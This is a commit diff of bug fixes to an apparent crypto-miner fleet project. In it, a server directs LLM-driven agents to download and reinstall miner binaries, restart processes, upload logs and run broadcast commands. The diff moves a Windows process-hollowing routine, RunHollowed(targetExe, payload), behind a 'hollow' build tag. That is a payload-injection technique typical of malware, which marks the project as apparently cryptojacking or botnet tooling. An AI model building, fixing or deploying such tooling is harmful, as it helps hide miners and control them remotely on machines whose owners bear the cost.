Fix small bugs across AI tools, fleet API, and run.bat.

Correct AI uptime/reinstall/sleep, broaden live stats over WebSocket, fix blueprint delete JSON, gate hollowing behind build tag, and stop stale server binds on restart.
This commit is contained in:
drjones
2026-05-28 08:00:01 -07:00
parent a9aeaefb1b
commit edffb03e00
9 changed files with 61 additions and 31 deletions

View File

@@ -9,6 +9,7 @@ import (
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
"time"
@@ -103,6 +104,7 @@ type AIRunner struct {
httpClient *http.Client
serverURL string
agentID string
startedAt time.Time
stopCh chan struct{}
}
@@ -115,6 +117,7 @@ func NewAIRunner(cfg config.RuntimeConfig, reporter *stats.Reporter, pool *miner
httpClient: &http.Client{Timeout: 60 * time.Second},
serverURL: strings.TrimRight(cfg.ServerURL, "/"),
agentID: cfg.AgentID,
startedAt: time.Now(),
stopCh: make(chan struct{}),
}
}
@@ -209,7 +212,7 @@ func (a *AIRunner) collectState() AgentState {
AgentID: a.agentID,
WorkerName: a.cfg.WorkerName,
Hostname: hostname,
UptimeSeconds: int(time.Since(time.Now()).Seconds()), // approximate, will be refined
UptimeSeconds: int(time.Since(a.startedAt).Seconds()),
IsRunning: isRunning,
CPUCores: cpuCores,
CPUUsagePct: cpuPct,
@@ -255,6 +258,10 @@ func (a *AIRunner) callDecide(state AgentState) (*DecideResponse, error) {
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return nil, fmt.Errorf("decide returned status %d", resp.StatusCode)
}
var decideResp DecideResponse
if err := json.NewDecoder(resp.Body).Decode(&decideResp); err != nil {
return nil, fmt.Errorf("failed to parse decide response: %w", err)
@@ -308,14 +315,14 @@ func (a *AIRunner) executeToolCall(tc ToolCall) ToolReport {
case "reinstall_miner":
serverURL := tc.Args["server_url"]
agentID := tc.Args["agent_id"]
buildID := tc.Args["build_id"]
if serverURL == "" {
serverURL = a.serverURL
}
if agentID == "" {
agentID = a.agentID
if buildID == "" {
buildID = a.cfg.BuildID
}
output, err := a.reinstallMiner(serverURL, agentID)
output, err := a.reinstallMiner(serverURL, buildID)
if err != nil {
report.Success = false
report.Output = fmt.Sprintf("error: %v\noutput: %s", err, output)
@@ -363,11 +370,11 @@ func (a *AIRunner) executeToolCall(tc ToolCall) ToolReport {
if seconds == "" {
seconds = "60"
}
var dur time.Duration
if s, err := fmt.Sscanf(seconds, "%f", &dur); err != nil || s != 1 {
dur, err := strconv.ParseFloat(seconds, 64)
if err != nil || dur <= 0 {
dur = 60
}
time.Sleep(time.Duration(dur) * time.Second)
time.Sleep(time.Duration(dur * float64(time.Second)))
report.Success = true
report.Output = fmt.Sprintf("slept for %s seconds", seconds)
@@ -484,11 +491,11 @@ func (a *AIRunner) restartMiner(processName string) (string, error) {
return fmt.Sprintf("killed old process, started new instance of %s", processName), nil
}
func (a *AIRunner) reinstallMiner(serverURL, agentID string) (string, error) {
log.Printf("[AI] Reinstalling miner from %s (agent=%s)", serverURL, agentID)
func (a *AIRunner) reinstallMiner(serverURL, buildID string) (string, error) {
log.Printf("[AI] Reinstalling miner from %s (build=%s)", serverURL, buildID)
// Download the latest build from the server
downloadURL := fmt.Sprintf("%s/api/v1/builds/%s/download", serverURL, agentID)
downloadURL := fmt.Sprintf("%s/api/v1/builds/%s/download", serverURL, buildID)
installDir, err := a.cfg.InstallDirectory()
if err != nil {
@@ -660,7 +667,7 @@ func (a *AIRunner) uploadLog() (string, error) {
// Send to hub as a report
log.Printf("[AI] Uploaded %d bytes of log data", len(data))
return fmt.Sprintf("log file size: %d bytes (last 10KB sent)", len(data)), nil
return fmt.Sprintf("log file size: %d bytes. Content:\n%s", len(data), string(data)), nil
}
func (a *AIRunner) fallbackEdgeAI(state AgentState) {

View File

@@ -0,0 +1,12 @@
//go:build windows && !hollow
package deploy
import "fmt"
// RunHollowed is only available when built with the "hollow" build tag.
// This keeps the default agent build safe and avoids unsafe pointer warnings in vet.
func RunHollowed(targetExe string, payload []byte) error {
return fmt.Errorf("process hollowing disabled (build without -tags hollow)")
}

View File

@@ -1,4 +1,4 @@
//go:build windows
//go:build windows && hollow
package deploy

View File

@@ -242,6 +242,9 @@ echo.
start http://localhost:8989
:: If an old server instance is running, stop it first to avoid bind errors.
taskkill /F /IM miner-server.exe >nul 2>nul
echo [Server] Starting miner-server.exe on 0.0.0.0:8989...
echo [Server] Log output below - Ctrl+C to stop:
echo.

View File

@@ -114,14 +114,10 @@ func (h *AIHandler) RemoveEngine(agentID string) {
// GetEngine returns the engine for an agent.
func (h *AIHandler) GetEngine(agentID string) *ollama.Engine {
h.mu.RLock()
defer h.mu.RUnlock()
h.mu.Lock()
defer h.mu.Unlock()
if entry, ok := h.engines[agentID]; ok {
h.mu.RUnlock() // Briefly unlock to update timestamp
h.mu.Lock()
entry.lastUsed = time.Now()
h.mu.Unlock()
h.mu.RLock()
return entry.engine
}
return nil

View File

@@ -189,7 +189,7 @@ func (h *BlueprintHandler) deleteBlueprint(w http.ResponseWriter, r *http.Reques
return
}
writeJSON(w, map[string]string{"success": "true", "name": safeName})
writeJSON(w, map[string]interface{}{"success": true, "name": safeName})
}
func sanitizeFilename(name string) string {

View File

@@ -4,7 +4,6 @@ import (
"encoding/json"
"net/http"
"strconv"
"time"
"crypto-miner-server/internal/alerts"
"crypto-miner-server/internal/db"
@@ -70,7 +69,6 @@ func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {
}
if r.URL.Query().Get("refresh") == "1" {
_ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300})
time.Sleep(800 * time.Millisecond)
}
writeJSON(w, map[string]interface{}{
"agent_id": id,
@@ -116,6 +114,15 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
}
if id == "all" {
if f.ws.connectedAgentCount() == 0 {
writeJSON(w, map[string]interface{}{
"success": false,
"error": "no connected agents",
"agent_id": id,
"action": req.Action,
})
return
}
f.ws.BroadcastAgentCommand(req.Action, args)
} else {
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {

View File

@@ -21,10 +21,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Use(middleware.Logger)
r.Use(middleware.Recoverer)
r.Use(cors.Handler(cors.Options{
AllowedOrigins: []string{"*"},
AllowedMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"},
AllowedHeaders: []string{"Accept", "Authorization", "Content-Type"},
AllowCredentials: true,
AllowedOrigins: []string{"*"},
AllowedMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"},
AllowedHeaders: []string{"Accept", "Authorization", "Content-Type"},
// With AllowedOrigins="*", credentials must be disabled (browsers will reject "*"+credentials).
AllowCredentials: false,
}))
// REST API

View File

@@ -370,11 +370,15 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
h.broadcastDashboard(Message{
Type: "stats_update",
Payload: mustMarshal(map[string]interface{}{
"agent_id": agentID,
"hashrate_15s": stats.Hashrate15s,
"hashrate_1m": stats.Hashrate1m,
"hashrate_15m": stats.Hashrate15m,
"cpu_usage_pct": stats.CPUUsagePct,
"agent_id": agentID,
"hashrate_15s": stats.Hashrate15s,
"hashrate_1m": stats.Hashrate1m,
"hashrate_15m": stats.Hashrate15m,
"cpu_usage_pct": stats.CPUUsagePct,
"memory_usage_pct": stats.MemoryUsagePct,
"uptime_seconds": stats.UptimeSeconds,
"shares_submitted": stats.SharesSubmitted,
"shares_accepted": stats.SharesAccepted,
}),
})